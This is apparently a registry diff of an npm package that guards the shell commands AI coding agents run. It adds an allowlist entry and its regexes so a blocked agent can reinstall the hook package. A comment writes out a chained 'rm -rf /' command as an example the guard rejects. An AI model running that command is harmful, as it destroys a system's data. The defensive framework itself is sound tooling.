@webpieces/ai-hook-rules 0.4.574 → 0.4.575
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -9
- package/src/bin/l0-allowlist.d.ts +6 -0
- package/src/bin/l0-allowlist.js +48 -5
- package/src/bin/l0-allowlist.js.map +1 -1
- package/src/bin/shim-audit-log.d.ts +1 -1
- package/src/bin/shim-audit-log.js +1 -1
- package/src/bin/shim-audit-log.js.map +1 -1
- package/src/bin/shim-testkit.d.ts +9 -0
- package/src/bin/shim-testkit.js +13 -0
- package/src/bin/shim-testkit.js.map +1 -1
- package/src/bin/shim.js +30 -2
- package/src/bin/shim.js.map +1 -1
- package/src/core/l0-matrix.d.ts +3 -3
- package/src/core/l0-matrix.js +15 -9
- package/src/core/l0-matrix.js.map +1 -1
- package/templates/ai-hook.sh +31 -3
package/package.json
CHANGED
|
@@ -1,15 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@webpieces/ai-hook-rules",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.575",
|
|
4
4
|
"description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
|
|
5
5
|
"type": "commonjs",
|
|
6
6
|
"main": "./src/index.js",
|
|
7
|
-
"bin": {
|
|
8
|
-
"wp-ai-rules-hook": "./src/adapters/rules-hook.js",
|
|
9
|
-
"wp-ai-guards-hook": "./src/adapters/guards-hook.js",
|
|
10
|
-
"wp-install-ai-hooks": "./src/bin/install-entry.js",
|
|
11
|
-
"wp-upgrade-shim": "./src/bin/upgrade-shim.js"
|
|
12
|
-
},
|
|
13
7
|
"exports": {
|
|
14
8
|
".": "./src/index.js",
|
|
15
9
|
"./package.json": "./package.json",
|
|
@@ -31,10 +25,16 @@
|
|
|
31
25
|
"directory": "packages/tooling/ai-hook-rules"
|
|
32
26
|
},
|
|
33
27
|
"dependencies": {
|
|
34
|
-
"@webpieces/rules-config": "0.4.
|
|
28
|
+
"@webpieces/rules-config": "0.4.575"
|
|
35
29
|
},
|
|
36
30
|
"publishConfig": {
|
|
37
|
-
"access": "public"
|
|
31
|
+
"access": "public",
|
|
32
|
+
"bin": {
|
|
33
|
+
"wp-ai-rules-hook": "./src/adapters/rules-hook.js",
|
|
34
|
+
"wp-ai-guards-hook": "./src/adapters/guards-hook.js",
|
|
35
|
+
"wp-install-ai-hooks": "./src/bin/install-entry.js",
|
|
36
|
+
"wp-upgrade-shim": "./src/bin/upgrade-shim.js"
|
|
37
|
+
}
|
|
38
38
|
},
|
|
39
39
|
"types": "./src/index.d.ts"
|
|
40
40
|
}
|
|
@@ -17,6 +17,12 @@ export declare const RESTORE_SHIM_ALLOW_JS: RegExp;
|
|
|
17
17
|
export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh";
|
|
18
18
|
export declare const INSTALL_HOOKS_ALLOW_ERE: string;
|
|
19
19
|
export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
|
|
20
|
+
export declare const ADD_HOOK_PKG_ALLOW_ERE: string;
|
|
21
|
+
export declare const ADD_HOOK_PKG_ALLOW_JS: RegExp;
|
|
22
|
+
/** The package every wp-ai-* bin ships in — the one name fault U is about. */
|
|
23
|
+
export declare const HOOK_PKG = "@webpieces/ai-hook-rules";
|
|
24
|
+
/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */
|
|
25
|
+
export declare const ADD_HOOK_PKG_CMD = "pnpm add -D @webpieces/ai-hook-rules";
|
|
20
26
|
export declare const ORIENT_ALLOW_ERE: string;
|
|
21
27
|
export declare const ORIENT_ALLOW_JS: RegExp;
|
|
22
28
|
export declare const ORIENT_CMD = "pwd";
|
package/src/bin/l0-allowlist.js
CHANGED
|
@@ -1,12 +1,12 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.READ_TOOLS = exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
|
|
3
|
+
exports.READ_TOOLS = exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.ADD_HOOK_PKG_CMD = exports.HOOK_PKG = exports.ADD_HOOK_PKG_ALLOW_JS = exports.ADD_HOOK_PKG_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
|
|
4
4
|
exports.isAllowed = isAllowed;
|
|
5
5
|
const tslib_1 = require("tslib");
|
|
6
6
|
const path = tslib_1.__importStar(require("path"));
|
|
7
7
|
const rules_config_1 = require("@webpieces/rules-config");
|
|
8
8
|
// ---------------------------------------------------------------------------
|
|
9
|
-
// THE L0 ALLOWLIST — the vocabulary (
|
|
9
|
+
// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union
|
|
10
10
|
// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.
|
|
11
11
|
//
|
|
12
12
|
// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts
|
|
@@ -135,7 +135,7 @@ exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
|
|
|
135
135
|
// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —
|
|
136
136
|
// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.
|
|
137
137
|
// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that
|
|
138
|
-
// hole would widen from one fault to
|
|
138
|
+
// hole would widen from one fault to every fault, so the entry goes rather than the gating.
|
|
139
139
|
//
|
|
140
140
|
// The deadlock this entry exists for, hit 2026-07-17:
|
|
141
141
|
//
|
|
@@ -220,6 +220,40 @@ exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ER
|
|
|
220
220
|
// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
221
221
|
const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
|
|
222
222
|
exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
223
|
+
// THE MISSING-DEPENDENCY cure — the 2026-08-05 "pnpm install converges to the same broken state" deadlock.
|
|
224
|
+
//
|
|
225
|
+
// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in
|
|
226
|
+
// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive
|
|
227
|
+
// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in
|
|
228
|
+
// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as
|
|
229
|
+
// unused (correctly: nothing imports it), the package left the tree on the very next install and every
|
|
230
|
+
// wp-ai-* bin went with it.
|
|
231
|
+
//
|
|
232
|
+
// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in
|
|
233
|
+
// package.json asks for the package, so the install reports "Lockfile is up to date" and changes
|
|
234
|
+
// nothing. The reporter ran it four times, was denied every other command, and handed the block back to
|
|
235
|
+
// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on
|
|
236
|
+
// this list, or fault U is a guaranteed deadlock rather than a fixable one.
|
|
237
|
+
//
|
|
238
|
+
// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never
|
|
239
|
+
// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the
|
|
240
|
+
// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token
|
|
241
|
+
// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no
|
|
242
|
+
// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.
|
|
243
|
+
// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).
|
|
244
|
+
const ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';
|
|
245
|
+
const ADD_HOOK_PKG_BODY_ERE = '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'
|
|
246
|
+
+ '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';
|
|
247
|
+
exports.ADD_HOOK_PKG_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
248
|
+
// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
249
|
+
const ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\/@:-]*)';
|
|
250
|
+
const ADD_HOOK_PKG_BODY_JS = '(pnpm|npm)\\s+add(\\s+' + ADD_FLAG_JS + ')*\\s+@webpieces\\/ai-hook-rules'
|
|
251
|
+
+ '(@[A-Za-z0-9._+-]+)?(\\s+' + ADD_FLAG_JS + ')*';
|
|
252
|
+
exports.ADD_HOOK_PKG_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
253
|
+
/** The package every wp-ai-* bin ships in — the one name fault U is about. */
|
|
254
|
+
exports.HOOK_PKG = '@webpieces/ai-hook-rules';
|
|
255
|
+
/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */
|
|
256
|
+
exports.ADD_HOOK_PKG_CMD = `pnpm add -D ${exports.HOOK_PKG}`;
|
|
223
257
|
// READ-ONLY ORIENTATION — the 2026-08-03 "where am I standing?" deadlock.
|
|
224
258
|
//
|
|
225
259
|
// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing
|
|
@@ -267,10 +301,11 @@ exports.INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';
|
|
|
267
301
|
// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.
|
|
268
302
|
//
|
|
269
303
|
// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or
|
|
270
|
-
// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its
|
|
304
|
+
// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are
|
|
271
305
|
// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)
|
|
272
306
|
// X bin missing (sh) C webpieces.config.json missing (bin)
|
|
273
307
|
// K bin present, crashed (sh) Y a loaded rule has no config key (bin)
|
|
308
|
+
// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault
|
|
274
309
|
//
|
|
275
310
|
// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to
|
|
276
311
|
// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))
|
|
@@ -284,7 +319,7 @@ exports.INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';
|
|
|
284
319
|
// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.
|
|
285
320
|
// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.
|
|
286
321
|
//
|
|
287
|
-
// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the
|
|
322
|
+
// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the
|
|
288
323
|
// named exports stay the vocabulary (and keep their own tests), this union is the decision.
|
|
289
324
|
//
|
|
290
325
|
// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the
|
|
@@ -359,6 +394,14 @@ exports.L0_ALLOWLIST = [
|
|
|
359
394
|
new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
|
|
360
395
|
new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
|
|
361
396
|
new L0AllowEntry(`${exports.INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, ''), [new L0Call('Bash', exports.INSTALL_HOOKS_TARGET_CMD, '')]),
|
|
397
|
+
// The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the
|
|
398
|
+
// repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not
|
|
399
|
+
// become untypable under a later tightening.
|
|
400
|
+
new L0AllowEntry(`${exports.ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS, new L0Call('Bash', exports.ADD_HOOK_PKG_CMD, ''), [
|
|
401
|
+
new L0Call('Bash', `${exports.ADD_HOOK_PKG_CMD}@0.4.574`, ''),
|
|
402
|
+
new L0Call('Bash', `pnpm add -D -w ${exports.HOOK_PKG}@0.4.574`, ''),
|
|
403
|
+
new L0Call('Bash', `npm add --save-dev ${exports.HOOK_PKG}`, ''),
|
|
404
|
+
]),
|
|
362
405
|
// NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy
|
|
363
406
|
// tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because
|
|
364
407
|
// while a fault is UP you have to be able to see where you are standing.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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